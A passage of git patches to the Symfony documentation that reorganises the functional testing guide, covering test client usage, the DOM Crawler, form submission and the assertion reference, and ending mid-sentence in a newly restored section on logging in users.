     The ``back()`` and ``forward()`` methods skip the redirects that may have
     occurred when requesting a URL, as normal browsers do.
 
-Accessing Internal Objects
-..........................
-
-If you use the client to test your application, you might want to access the
-client's internal objects::
-
-    $history = $client->getHistory();
-    $cookieJar = $client->getCookieJar();
-
-You can also get the objects related to the latest request::
-
-    // the HttpKernel request instance
-    $request = $client->getRequest();
-
-    // the BrowserKit request instance
-    $request = $client->getInternalRequest();
-
-    // the HttpKernel response instance
-    $response = $client->getResponse();
-
-    // the BrowserKit response instance
-    $response = $client->getInternalResponse();
-
-    // the Crawler instance
-    $crawler = $client->getCrawler();
-
-Accessing the Profiler Data
-...........................
-
-On each request, you can enable the Symfony profiler to collect data about the
-internal handling of that request. For example, the profiler could be used to
-verify that a given page runs less than a certain number of database
-queries when loading.
-
-To get the Profiler for the last request, do the following::
-
-    // enables the profiler for the very next request
-    $client->enableProfiler();
-
-    $crawler = $client->request('GET', '/profiler');
-
-    // gets the profile
-    $profile = $client->getProfile();
-
-For specific details on using the profiler inside a test, see the
-:doc:`/testing/profiling` article.
-
 Redirecting
 ...........
 
@@ -690,6 +567,17 @@ will no longer be followed::
 
     $client->followRedirects(false);
 
+Making AJAX Requests
+....................
+
+The client provides a
+:method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
+method, which has the same arguments as the ``request()`` method and is
+a shortcut to make AJAX requests::
+
+    // the required HTTP_X_REQUESTED_WITH header is added automatically
+    $client->xmlHttpRequest('POST', '/submit', ['name' => 'Fabien']);
+
 Sending Custom Headers
 ......................
 
@@ -715,13 +603,6 @@ You can also override HTTP headers on a per request basis::
     uppercase and prefix the result with ``HTTP_``. For example, if your
     header name is ``X-Session-Token``, pass ``HTTP_X_SESSION_TOKEN``.
 
-.. tip::
-
-    The test client is available as a service in the container in the ``test``
-    environment (or wherever the :ref:`framework.test <reference-framework-test>`
-    option is enabled). This means you can override the service entirely
-    if you need to.
-
 Reporting Exceptions
 ....................
 
@@ -732,167 +613,69 @@ to be reported by PHPUnit::
 
     $client->catchExceptions(false);
 
-Useful Assertions
-~~~~~~~~~~~~~~~~~
+Accessing Internal Objects
+..........................
 
-To get you started faster, here is a list of the most common and
-useful test assertions::
+If you use the client to test your application, you might want to access the
+client's internal objects::
 
-    use Symfony\Component\HttpFoundation\Response;
+    $history = $client->getHistory();
+    $cookieJar = $client->getCookieJar();
 
-    // ...
+You can also get the objects related to the latest request::
 
-    // asserts that there is at least one h2 tag with the class "subtitle"
-    // the third argument is an optional message shown on failed tests
-    $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(),
-        'There is at least one subtitle'
-    );
-
-    // asserts that there are exactly 4 h2 tags on the page
-    $this->assertCount(4, $crawler->filter('h2'));
-
-    // asserts that the "Content-Type" header is "application/json"
-    $this->assertResponseHeaderSame('Content-Type', 'application/json');
-    // equivalent to:
-    $this->assertTrue($client->getResponse()->headers->contains(
-        'Content-Type', 'application/json'
-    ));
-
-    // asserts that the response content contains a string
-    $this->assertContains('foo', $client->getResponse()->getContent());
-    // ...or matches a regex
-    $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
-
-    // asserts that the response status code is 2xx
-    $this->assertResponseIsSuccessful();
-    // equivalent to:
-    $this->assertTrue($client->getResponse()->isSuccessful());
-
-    // asserts that the response status code is 404 Not Found
-    $this->assertTrue($client->getResponse()->isNotFound());
-
-    // asserts a specific status code
-    $this->assertResponseStatusCodeSame(201);
-    // HTTP status numbers are available as constants too:
-    // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED
-    // equivalent to:
-    $this->assertEquals(201, $client->getResponse()->getStatusCode());
-
-    // asserts that the response is a redirect to /demo/contact
-    $this->assertResponseRedirects('/demo/contact');
-    // equivalent to:
-    $this->assertTrue($client->getResponse()->isRedirect('/demo/contact'));
-    // ...or check that the response is a redirect to any URL
-    $this->assertResponseRedirects();
+    // the HttpKernel request instance
+    $request = $client->getRequest();
 
-.. versionadded:: 4.3
+    // the BrowserKit request instance
+    $request = $client->getInternalRequest();
 
-    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
-    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
-    related methods were introduced in Symfony 4.3.
+    // the HttpKernel response instance
+    $response = $client->getResponse();
 
-.. index::
-   single: Tests; Crawler
-
-.. _testing-crawler:
-
-The Crawler
-~~~~~~~~~~~
-
-A Crawler instance is returned each time you make a request with the Client.
-It allows you to traverse HTML documents, select nodes, find links and forms.
-
-Traversing
-..........
-
-Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML
-document. For example, the following finds all ``input[type=submit]`` elements,
-selects the last one on the page, and then selects its immediate parent element::
-
-    $newCrawler = $crawler->filter('input[type=submit]')
-        ->last()
-        ->parents()
-        ->first()
-    ;
-
-Many other methods are also available:
-
-``filter('h1.title')``
-    Nodes that match the CSS selector.
-``filterXpath('h1')``
-    Nodes that match the XPath expression.
-``eq(1)``
-    Node for the specified index.
-``first()``
-    First node.
-``last()``
-    Last node.
-``siblings()``
-    Siblings.
-``nextAll()``
-    All following siblings.
-``previousAll()``
-    All preceding siblings.
-``parents()``
-    Returns the parent nodes.
-``children()``
-    Returns children nodes.
-``reduce($lambda)``
-    Nodes for which the callable does not return false.
-
-Since each of these methods returns a new ``Crawler`` instance, you can
-narrow down your node selection by chaining the method calls::
-
-    $crawler
-        ->filter('h1')
-        ->reduce(function ($node, $i) {
-            if (!$node->attr('class')) {
-                return false;
-            }
-        })
-        ->first()
-    ;
+    // the BrowserKit response instance
+    $response = $client->getInternalResponse();
 
-.. tip::
+    // the Crawler instance
+    $crawler = $client->getCrawler();
 
-    Use the ``count()`` function to get the number of nodes stored in a Crawler:
-    ``count($crawler)``
+Accessing the Profiler Data
+...........................
 
-Extracting Information
-......................
+On each request, you can enable the Symfony profiler to collect data about the
+internal handling of that request. For example, the profiler could be used to
+verify that a given page runs less than a certain number of database
+queries when loading.
 
-The Crawler can extract information from the nodes::
+To get the Profiler for the last request, do the following::
 
-    // returns the attribute value for the first node
-    $crawler->attr('class');
+    // enables the profiler for the very next request
+    $client->enableProfiler();
 
-    // returns the node value for the first node
-    $crawler->text();
+    $crawler = $client->request('GET', '/profiler');
 
-    // returns the default text if the node does not exist
-    $crawler->text('Default text content');
+    // gets the profile
+    $profile = $client->getProfile();
 
-    // pass TRUE as the second argument of text() to remove all extra white spaces, including
-    // the internal ones (e.g. "  foo\n  bar    baz \n " is returned as "foo bar baz")
-    $crawler->text(null, true);
+For specific details on using the profiler inside a test, see the
+:doc:`/testing/profiling` article.
 
-    // extracts an array of attributes for all nodes
-    // (_text returns the node value)
-    // returns an array for each element in crawler,
-    // each with the value and href
-    $info = $crawler->extract(['_text', 'href']);
+.. _testing-applications-act:
 
-    // executes a lambda for each node and return an array of results
-    $data = $crawler->each(function ($node, $i) {
-        return $node->attr('href');
-    });
+Interacting with the Response
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 4.4
+Like a real browser, the Client and Crawler objects can be used to interact
+with the page you're served:
+
+.. contents::
+    :local:
+    :depth: 1
 
-    The option to trim white spaces in ``text()`` was introduced in Symfony 4.4.
+.. _testing-links:
 
-Links
-.....
+Clicking on Links
+.................
 
 Use the ``clickLink()`` method to click on the first link that contains the
 given text (or the first clickable image with that ``alt`` attribute)::
@@ -904,16 +687,21 @@ given text (or the first clickable image with that ``alt`` attribute)::
 
 If you need access to the :class:`Symfony\\Component\\DomCrawler\\Link` object
 that provides helpful methods specific to links (such as ``getMethod()`` and
-``getUri()``), use the ``selectLink()`` method instead::
+``getUri()``), use the ``Crawler::selectLink()`` method instead::
 
     $client = static::createClient();
     $crawler = $client->request('GET', '/post/hello-world');
 
     $link = $crawler->selectLink('Click here')->link();
+    // ...
+
+    // use click() if you want to click the selected link
     $client->click($link);
 
-Forms
-.....
+.. _testing-forms:
+
+Submitting Forms
+................
 
 Use the ``submitForm()`` method to submit the form that contains the given button::
 
@@ -930,60 +718,48 @@ The second optional argument is used to override the default form field values.
 
 .. note::
 
-    Notice that you select form buttons and not forms as a form can have several
-    buttons; if you use the traversing API, keep in mind that you must look for a
+    Notice that you select form buttons and not forms, as a form can have several
+    buttons. If you use the traversing API, keep in mind that you must look for a
     button.
 
 If you need access to the :class:`Symfony\\Component\\DomCrawler\\Form` object
 that provides helpful methods specific to forms (such as ``getUri()``,
-``getValues()`` and ``getFields()``) use the ``selectButton()`` method instead::
+``getValues()`` and ``getFields()``) use the ``Crawler::selectButton()`` method instead::
 
     $client = static::createClient();
     $crawler = $client->request('GET', '/post/hello-world');
 
+    // select the button
     $buttonCrawlerNode = $crawler->selectButton('submit');
 
-    // select the form that contains this button
+    // retrieve the Form object for the form belonging to this button
     $form = $buttonCrawlerNode->form();
 
-    // you can also pass an array of field values that overrides the default ones
-    $form = $buttonCrawlerNode->form([
-        'my_form[name]'    => 'Fabien',
-        'my_form[subject]' => 'Symfony rocks!',
-    ]);
-
-    // you can pass a second argument to override the form HTTP method
-    $form = $buttonCrawlerNode->form([], 'DELETE');
+    // set values on a form object
+    $form['my_form[name]'] = 'Fabien';
+    $form['my_form[subject]'] = 'Symfony rocks!';
 
     // submit the Form object
     $client->submit($form);
 
-The field values can also be passed as a second argument of the ``submit()``
-method::
-
+    // optionally, you can combine the last 2 steps by passing an array of
+    // field values while submitting the form:
     $client->submit($form, [
         'my_form[name]'    => 'Fabien',
         'my_form[subject]' => 'Symfony rocks!',
     ]);
 
-For more complex situations, use the ``Form`` instance as an array to set the
-value of each field individually::
-
-    // changes the value of a field
-    $form['my_form[name]'] = 'Fabien';
-    $form['my_form[subject]'] = 'Symfony rocks!';
-
-There is also a nice API to manipulate the values of the fields according to
-their type::
+Based on the form type, you can use different methods to fill in the
+input::
 
     // selects an option or a radio
-    $form['country']->select('France');
+    $form['my_form[country]']->select('France');
 
     // ticks a checkbox
-    $form['like_symfony']->tick();
+    $form['my_form[like_symfony]']->tick();
 
     // uploads a file
-    $form['photo']->upload('/path/to/lucas.jpg');
+    $form['my_form[photo]']->upload('/path/to/lucas.jpg');
 
     // In the case of a multiple file upload
     $form['my_form[field][0]']->upload('/path/to/lucas.jpg');
@@ -1022,6 +798,131 @@ their type::
         $client->submit($form, [], ['HTTP_ACCEPT_LANGUAGE' => 'es']);
         $client->submitForm($button, [], 'POST', ['HTTP_ACCEPT_LANGUAGE' => 'es']);
 
+.. _testing-application-assertions:
+
+Testing the Response (Assertions)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Now that the tests have visited a page and interacted with it (e.g. filled
+in a form), it is time to verify that the expected output is shown.
+
+As all tests are based on PHPUnit, you can use any `PHPUnit Assertion`_ in
+your tests. Combined with test Client and the Crawler, this allows you to
+check anything you want.
+
+However, Symfony provides useful shortcut methods for the most common cases:
+
+.. contents::
+    :local:
+    :depth: 1
+
+.. versionadded:: 4.3
+
+    The shortcut methods for assertions using ``WebTestCase`` were introduced
+    in Symfony 4.3.
+
+.. versionadded:: 4.4
+
+    Starting from Symfony 4.4, when using `symfony/panther`_ for end-to-end
+    testing, you can use all the following assertions except the ones related to
+    the :doc:`Crawler </components/dom_crawler>`.
+
+Response Assertions
+...................
+
+``assertResponseIsSuccessful(string $message = '')``
+    Asserts that the response was successful (HTTP status is 2xx).
+``assertResponseStatusCodeSame(int $expectedCode, string $message = '')``
+    Asserts a specific HTTP status code.
+``assertResponseRedirects(string $expectedLocation = null, int $expectedCode = null, string $message = '')``
+    Asserts the response is a redirect response (optionally, you can check
+    the target location and status code).
+``assertResponseHasHeader(string $headerName, string $message = '')``/``assertResponseNotHasHeader(string $headerName, string $message = '')``
+    Asserts the given header is (not) available on the response.
+``assertResponseHeaderSame(string $headerName, string $expectedValue, string $message = '')``/``assertResponseHeaderNotSame(string $headerName, string $expectedValue, string $message = '')``
+    Asserts the given header does (not) contain the expected value on the
+    response.
+``assertResponseHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+    Asserts the given cookie is present in the response (optionally
+    checking for a specific cookie path or domain).
+``assertResponseCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+    Asserts the given cookie is present and set to the expected value.
+
+Request Assertions
+..................
+
+``assertRequestAttributeValueSame(string $name, string $expectedValue, string $message = '')``
+    Asserts the given :ref:`request attribute <component-foundation-attributes>`
+    is set to the expected value.
+``assertRouteSame($expectedRoute, array $parameters = [], string $message = '')``
+    Asserts the request matched the given route and optionally route parameters.
+
+Browser Assertions
+..................
+
+``assertBrowserHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertBrowserNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+    Asserts that the test Client does (not) have the given cookie set
+    (meaning, the cookie was set by any response in the test).
+``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+    Asserts the given cookie in the test Client is set to the expected
+    value.
+
+Crawler Assertions
+..................
+
+``assertSelectorExists(string $selector, string $message = '')``/``assertSelectorNotExists(string $selector, string $message = '')``
+    Asserts that the given selector does (not) match at least one element
+    in the response.
+``assertSelectorTextContains(string $selector, string $text, string $message = '')``/``assertSelectorTextNotContains(string $selector, string $text, string $message = '')``
+    Asserts that the first element matching the given selector does (not)
+    contain the expected text.
+``assertSelectorTextSame(string $selector, string $text, string $message = '')``
+    Asserts that the contents of the first element matching the given
+    selector does (not) equal the expected text.
+``assertPageTitleSame(string $expectedTitle, string $message = '')``
+    Asserts that the ``<title>`` element is equal to the given title.
+``assertPageTitleContains(string $expectedTitle, string $message = '')``
+    Asserts that the ``<title>`` element contains the given title.
+``assertInputValueSame(string $fieldName, string $expectedValue, string $message = '')``/``assertInputValueNotSame(string $fieldName, string $expectedValue, string $message = '')``
+    Asserts that value of the form input with the given name does (not)
+    equal the expected value.
+
+Mailer Assertions
+.................
+
+.. versionadded:: 4.4
+
+    The mailer assert methods were introduced in Symfony 4.4.
+
+``assertEmailCount(int $count, string $transport = null, string $message = '')``
+    Asserts that the expected number of emails was sent.
+``assertQueuedEmailCount(int $count, string $transport = null, string $message = '')``
+    Asserts that the expected number of emails was queued (e.g. using the
+    Messenger component).
+``assertEmailIsQueued(MessageEvent $event, string $message = '')``/``assertEmailIsNotQueued(MessageEvent $event, string $message = '')``
+    Asserts that the given mailer event is (not) queued. Use
+    ``getMailerEvent(int $index = 0, string $transport = null)`` to
+    retrieve a mailer event by index.
+``assertEmailAttachmentCount(RawMessage $email, int $count, string $message = '')``
+    Asserts that the given email has the expected number of attachments. Use
+    ``getMailerMessage(int $index = 0, string $transport = null)`` to
+    retrievea specific email by index.
+``assertEmailTextBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailTextBodyNotContains(RawMessage $email, string $text, string $message = '')``
+    Asserts that the text body of the given email does (not) contain the
+    expected text.
+``assertEmailHtmlBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailHtmlBodyNotContains(RawMessage $email, string $text, string $message = '')``
+    Asserts that the HTML body of the given email does (not) contain the
+    expected text.
+``assertEmailHasHeader(RawMessage $email, string $headerName, string $message = '')``/``assertEmailNotHasHeader(RawMessage $email, string $headerName, string $message = '')``
+    Asserts that the given email does (not) have the expected header set.
+``assertEmailHeaderSame(RawMessage $email, string $headerName, string $expectedValue, string $message = '')``/``assertEmailHeaderNotSame(RawMessage $email, string $headerName, string $expectedValue, string $message = '')``
+    Asserts that the given email does (not) have the expected header set to
+    the expected value.
+``assertEmailAddressContains(RawMessage $email, string $headerName, string $expectedValue, string $message = '')``
+    Asserts that the given address header equals the expected e-mail
+    address. This assertion normalizes addresses like ``Jane Smith
+    <jane@example.com>`` into ``jane@example.com``.
+
 .. TODO
     End to End Tests (E2E)
     ----------------------
@@ -1114,7 +1015,8 @@ Learn more
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
-.. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`symfony/panther`: https://github.com/symfony/panther
+.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
 .. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18
diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
new file mode 100644
index 00000000000..9a98ee95aeb
--- /dev/null
+++ b/testing/dom_crawler.rst
@@ -0,0 +1,98 @@
+.. index::
+   single: Tests; Crawler
+
+The DOM Crawler
+===============
+
+A Crawler instance is returned each time you make a request with the Client.
+It allows you to traverse HTML or XML documents: select nodes, find links
+and forms, and retrieve attributes or contents.
+
+Traversing
+----------
+
+Like jQuery, the Crawler has methods to traverse the DOM of an HTML/XML
+document. For example, the following finds all ``input[type=submit]`` elements,
+selects the last one on the page, and then selects its immediate parent element::
+
+    $newCrawler = $crawler->filter('input[type=submit]')
+        ->last()
+        ->parents()
+        ->first()
+    ;
+
+Many other methods are also available:
+
+``filter('h1.title')``
+    Nodes that match the CSS selector.
+``filterXpath('h1')``
+    Nodes that match the XPath expression.
+``eq(1)``
+    Node for the specified index.
+``first()``
+    First node.
+``last()``
+    Last node.
+``siblings()``
+    Siblings.
+``nextAll()``
+    All following siblings.
+``previousAll()``
+    All preceding siblings.
+``parents()``
+    Returns the parent nodes.
+``children()``
+    Returns children nodes.
+``reduce($lambda)``
+    Nodes for which the callable does not return false.
+
+Since each of these methods returns a new ``Crawler`` instance, you can
+narrow down your node selection by chaining the method calls::
+
+    $crawler
+        ->filter('h1')
+        ->reduce(function ($node, $i) {
+            if (!$node->attr('class')) {
+                return false;
+            }
+        })
+        ->first()
+    ;
+
+.. tip::
+
+    Use the ``count()`` function to get the number of nodes stored in a Crawler:
+    ``count($crawler)``
+
+Extracting Information
+----------------------
+
+The Crawler can extract information from the nodes::
+
+    // returns the attribute value for the first node
+    $crawler->attr('class');
+
+    // returns the node value for the first node
+    $crawler->text();
+
+    // returns the default text if the node does not exist
+    $crawler->text('Default text content');
+
+    // pass TRUE as the second argument of text() to remove all extra white spaces, including
+    // the internal ones (e.g. "  foo\n  bar    baz \n " is returned as "foo bar baz")
+    $crawler->text(null, true);
+
+    // extracts an array of attributes for all nodes
+    // (_text returns the node value)
+    // returns an array for each element in crawler,
+    // each with the value and href
+    $info = $crawler->extract(['_text', 'href']);
+
+    // executes a lambda for each node and return an array of results
+    $data = $crawler->each(function ($node, $i) {
+        return $node->attr('href');
+    });
+
+.. versionadded:: 4.4
+
+    The option to trim white spaces in ``text()`` was introduced in Symfony 4.4.
diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
deleted file mode 100644
index 29e4b1e5e3a..00000000000
--- a/testing/functional_tests_assertions.rst
+++ /dev/null
@@ -1,102 +0,0 @@
-.. index::
-   single: Tests; Assertions
-
-Functional Test specific Assertions
-===================================
-
-.. versionadded:: 4.3
-
-    The shortcut methods for assertions using ``WebTestCase`` were introduced
-    in Symfony 4.3.
-
-When doing functional tests, sometimes you need to make complex assertions in
-order to check whether the ``Request``, the ``Response`` or the ``Crawler``
-contain the expected information to make your test succeed.
-
-The following example uses plain PHPUnit to assert that the response redirects
-to a certain URL::
-
-    $this->assertSame(301, $client->getResponse()->getStatusCode());
-    $this->assertSame('https://example.com', $client->getResponse()->headers->get('Location'));
-
-This is the same example using the assertions provided by Symfony::
-
-    $this->assertResponseRedirects('https://example.com', 301);
-
-.. note::
-
-    These assertions only work if a request has been made with the ``Client``
-    in a test case extending the ``WebTestCase`` class.
-
-Assertions Reference
----------------------
-
-.. versionadded:: 4.4
-
-    Starting from Symfony 4.4, when using `symfony/panther`_ for end-to-end
-    testing, you can use all the following assertions except the ones related to
-    the :doc:`Crawler </components/dom_crawler>`.
-
-Response
-~~~~~~~~
-
-- ``assertResponseIsSuccessful()``
-- ``assertResponseStatusCodeSame()``
-- ``assertResponseRedirects()``
-- ``assertResponseHasHeader()``
-- ``assertResponseNotHasHeader()``
-- ``assertResponseHeaderSame()``
-- ``assertResponseHeaderNotSame()``
-- ``assertResponseHasCookie()``
-- ``assertResponseNotHasCookie()``
-- ``assertResponseCookieValueSame()``
-
-Request
-~~~~~~~
-
-- ``assertRequestAttributeValueSame()``
-- ``assertRouteSame()``
-
-Browser
-~~~~~~~
-
-- ``assertBrowserHasCookie()``
-- ``assertBrowserNotHasCookie()``
-- ``assertBrowserCookieValueSame()``
-
-Crawler
-~~~~~~~
-
-- ``assertSelectorExists()``
-- ``assertSelectorNotExists()``
-- ``assertSelectorTextContains()`` (note: it only checks the first selector occurrence)
-- ``assertSelectorTextSame()`` (note: it only checks the first selector occurrence)
-- ``assertSelectorTextNotContains()`` (note: it only checks the first selector occurrence)
-- ``assertPageTitleSame()``
-- ``assertPageTitleContains()``
-- ``assertInputValueSame()``
-- ``assertInputValueNotSame()``
-
-Mailer
-~~~~~~
-
-- ``assertEmailCount()``
-- ``assertQueuedEmailCount()``
-- ``assertEmailIsQueued()``
-- ``assertEmailIsNotQueued()``
-- ``assertEmailAttachmentCount()``
-- ``assertEmailTextBodyContains()``
-- ``assertEmailTextBodyNotContains()``
-- ``assertEmailHtmlBodyContains()``
-- ``assertEmailHtmlBodyNotContains()``
-- ``assertEmailHasHeader()``
-- ``assertEmailNotHasHeader()``
-- ``assertEmailHeaderSame()``
-- ``assertEmailHeaderNotSame()``
-- ``assertEmailAddressContains()``
-
-.. versionadded:: 4.4
-
-    The mailer assert methods were introduced in Symfony 4.4.
-
-.. _`symfony/panther`: https://github.com/symfony/panther

From 19b8d2318d997af810c6b4c456a29419e551fed0 Mon Sep 17 00:00:00 2001
From: iamvar <iamvar@gmail.com>
Date: Sat, 1 May 2021 11:52:17 +0300
Subject: [PATCH 0802/5766] update example for attributes

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index ac6ee533c8c..7f71344a61b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1608,7 +1608,7 @@ and ``BitBucketCodeRepository`` classes:
             'github' => GitHubCodeRepository::class,
             'bitbucket' => BitBucketCodeRepository::class,
         ])]
-        interface CodeRepository
+        abstract class CodeRepository
         {
             // ...
         }

From c9b1e9112a39ff7a2bb2787e8004bd6f46071074 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 May 2021 11:40:16 +0200
Subject: [PATCH 0803/5766] Minor tweak

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 41830d786c5..ea9eab12251 100644
--- a/testing.rst
+++ b/testing.rst
@@ -647,7 +647,7 @@ internal handling of that request. For example, the profiler could be used to
 verify that a given page runs less than a certain number of database
 queries when loading.
 
-To get the Profiler for the last request, do the following::
+To get the profiler for the last request, do the following::
 
     // enables the profiler for the very next request
     $client->enableProfiler();

From 1fb6ce965c054f438ee2f3954f899f7eacef32b3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 May 2021 12:14:40 +0200
Subject: [PATCH 0804/5766] Remove unneeded versionadded directives

---
 testing.rst | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/testing.rst b/testing.rst
index d354f7899ab..b523c263c7b 100644
--- a/testing.rst
+++ b/testing.rst
@@ -812,17 +812,6 @@ However, Symfony provides useful shortcut methods for the most common cases:
     :local:
     :depth: 1
 
-.. versionadded:: 4.3
-
-    The shortcut methods for assertions using ``WebTestCase`` were introduced
-    in Symfony 4.3.
-
-.. versionadded:: 4.4
-
-    Starting from Symfony 4.4, when using `symfony/panther`_ for end-to-end
-    testing, you can use all the following assertions except the ones related to
-    the :doc:`Crawler </components/dom_crawler>`.
-
 Response Assertions
 ...................
 

From f513b5dc28cff2d311e7c4e9c52ddfd5d922bd52 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 2 May 2021 14:39:00 +0200
Subject: [PATCH 0805/5766] Remove docs on PHPUnit configuration

---
 testing.rst | 74 ++++-------------------------------------------------
 1 file changed, 5 insertions(+), 69 deletions(-)

diff --git a/testing.rst b/testing.rst
index ea9eab12251..0a56a81faf7 100644
--- a/testing.rst
+++ b/testing.rst
@@ -34,7 +34,10 @@ PHP class ending with "Test" (e.g. ``BlogControllerTest``) that lives in
 the ``tests/`` directory of your application.
 
 PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your
-application.
+application. The default configuration provided by Symfony Flex will be
+enough in most cases. Read the `PHPUnit documentation`_ to discover all
+possible configuration options (e.g. to enable code coverage or to split
+your test into multiple "test suites").
 
 .. note::
 
@@ -931,73 +934,6 @@ Mailer Assertions
     * testing javascript
     * UX or form collections as example?
 
-PHPUnit Configuration
----------------------
-
-Each application has its own PHPUnit configuration, stored in the
-``phpunit.xml.dist`` file. You can edit this file to change the defaults or
-create a ``phpunit.xml`` file to set up a configuration for your local machine
-only.
-
-.. tip::
-
-    Store the ``phpunit.xml.dist`` file in your code repository and ignore
-    the ``phpunit.xml`` file.
-
-By default, only the tests stored in ``tests/`` are run via the ``phpunit`` command,
-as configured in the ``phpunit.xml.dist`` file:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-        <testsuites>
-            <testsuite name="Project Test Suite">
-                <directory>tests</directory>
-            </testsuite>
-        </testsuites>
-        <!-- ... -->
-    </phpunit>
-
-But you can add more directories. For instance, the following
-configuration adds tests from a custom ``lib/tests`` directory:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-        <testsuites>
-            <testsuite name="Project Test Suite">
-                <!-- ... -->
-                <directory>lib/tests</directory>
-            </testsuite>
-        </testsuites>
-        <!-- ... -->
-    </phpunit>
-
-To include other directories in the `code coverage analysis`_, also edit the
-``<filter>`` section:
-
-.. code-block:: xml
-
-    <!-- phpunit.xml.dist -->
-    <phpunit>
-        <!-- ... -->
-        <filter>
-            <whitelist>
-                <!-- ... -->
-                <directory>lib</directory>
-                <exclude>
-                    <!-- ... -->
-                    <directory>lib/tests</directory>
-                </exclude>
-            </whitelist>
-        </filter>
-        <!-- ... -->
-    </phpunit>
-
 Learn more
 ----------
 
@@ -1012,11 +948,11 @@ Learn more
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
 .. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/stable/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`symfony/panther`: https://github.com/symfony/panther
 .. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
-.. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From 649dd43462a6ba3ed9d50757efa3c576999e2362 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 3 May 2021 12:30:49 +0200
Subject: [PATCH 0806/5766] Minor typo fix

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 51544d0c3e0..442f7b60143 100644
--- a/testing.rst
+++ b/testing.rst
@@ -876,7 +876,7 @@ Crawler Assertions
     equal the expected value.
 ``assertCheckboxChecked(string $fieldName, string $message = '')``/``assertCheckboxNotChecked(string $fieldName, string $message = '')``
     Asserts that the checkbox with the given name is (not) checked.
-``assertFormValue(string $formSelector, string $fieldName, string $value, string $message = '')`` and ``assertNoFormValue(string $formSelector, string $fieldName, string $message = '')``
+``assertFormValue(string $formSelector, string $fieldName, string $value, string $message = '')``/``assertNoFormValue(string $formSelector, string $fieldName, string $message = '')``
     Asserts that value of the field of the first form matching the given
     selector does (not) equal the expected value.
 

From 1a94e637609b7f48696039babcb679c50195a59f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 May 2021 12:31:29 +0200
Subject: [PATCH 0807/5766] Restored a section wrongly removed while upmerging

---
 testing.rst | 59 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 59 insertions(+)

diff --git a/testing.rst b/testing.rst
index b523c263c7b..738245ffaac 100644
--- a/testing.rst
+++ b/testing.rst
@@ -567,6 +567,65 @@ will no longer be followed::
 
     $client->followRedirects(false);
 
+.. _testing_logging_in_users:
+
+Logging in Users (Authentication)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The ``loginUser()`` method was introduced in Symfony 5.1.
+
+When you want to add application tests for protected pages, you have to
+first "login" as a user. Reproducing the actual steps - such as
+submitting a login form - make a test very slow. For this reason, Symfony
